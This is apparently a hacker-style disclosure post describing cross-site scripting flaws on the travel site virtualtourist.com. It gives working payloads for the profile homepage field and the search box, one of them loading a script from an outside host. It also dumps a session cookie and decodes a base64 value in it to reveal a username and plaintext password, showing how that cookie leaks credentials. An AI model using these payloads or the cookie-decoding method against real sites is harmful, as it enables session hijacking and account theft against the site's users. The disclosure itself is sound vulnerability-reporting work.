Virtualtourist.com
Homepage: http://www.virtualtourist.com Effected files: Input boxes of your profile search destination input box ------------------------------------------------------- XSS vulnerability with cookie disclosure: Under the section of "Tell others a little about yourself" the input box "Your External Homepage" does not correctly filter user data input. We can bypass this by escaping quotes and using ending tags. For PoC try putting this in the "Your external homepage" box: ">">'>'><""><IMG SRC=javascript:document.write(document.cookie)><"<"<"<'<""> Screenshots: http://www.youfucktard.com/xsp/virt1.jpg http://www.youfucktard.com/xsp/virt2.jpg And below is our cookie data that was written out: VTGL3=4213; RMID=48960e9c448d1f20; VTVisit=448d1ffd; RMFS=011FphYUU206xzA; VT=bbd45.443b84e70a5fa06ba8515a 0e0d39db1c|luny666|0|k9pFi7ASw/4c68/7I2/bxg|0|j0qmfs|0|0|UTC; VTOStamp=448d2150; VTID=NzY5MzQ5fGZ1Y2tpdA== Now, lets dissect this cookie, I don't know much about it at this time,except a few things: VTGL3=4213; (maybe our userid #) RMID=48960e9c448d1f20; (No idea, Registered Member ID #or hash ? ) VTVisit=448d1ffd; (Virtual Tourist Vist=Possibly random string given to this session, or page we were on) RMFS=011FphYUU206xzA; (No idea, Registered Member something ?) This next part is huge, and in a few sections: VT=bbd45.443b84e70a5fa06ba8515a0e0d39db1c|luny666|0|k9pFi7ASw/4c68/7I2/bxg|0|j0qmfs|0|0|UTC; VT=bbd45. (No idea, Virtual Tourist something) 443b84e70a5fa06ba8515a0e0d39db1c (Looks like a md5 hash, am working to find out if its a pw) luny666 (This my our username) 0 (No idea, possibly meaning 0, like 1 would mean yes) k9pFi7ASw/4c68/7I2/bxg (No idea, could be a password) bxg|0|j0qmfs|0|0|UTC; (No idea) VTOStamp=448d2150; (VirtualTourist Timestamp string?) And finally, the best one of all, this one WE DO know what it is: VTID=NzY5MzQ5fGZ1Y2tpdA== The above this base64 encoded. When we decode NzY5MzQ5fGZ1Y2tpdA== we see that it says: 769349|fuckit And everyone, yes my password for that website is "fuckit". (Don't bother, I only use this password to audit sites) Now, we know the users login name (luny666) and password (fuckit). -------------------------------------------------- XSS Vuln via search destination input box: For a XSS example try putting: ">">'>'><""><SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT><"<"<"<'<"">
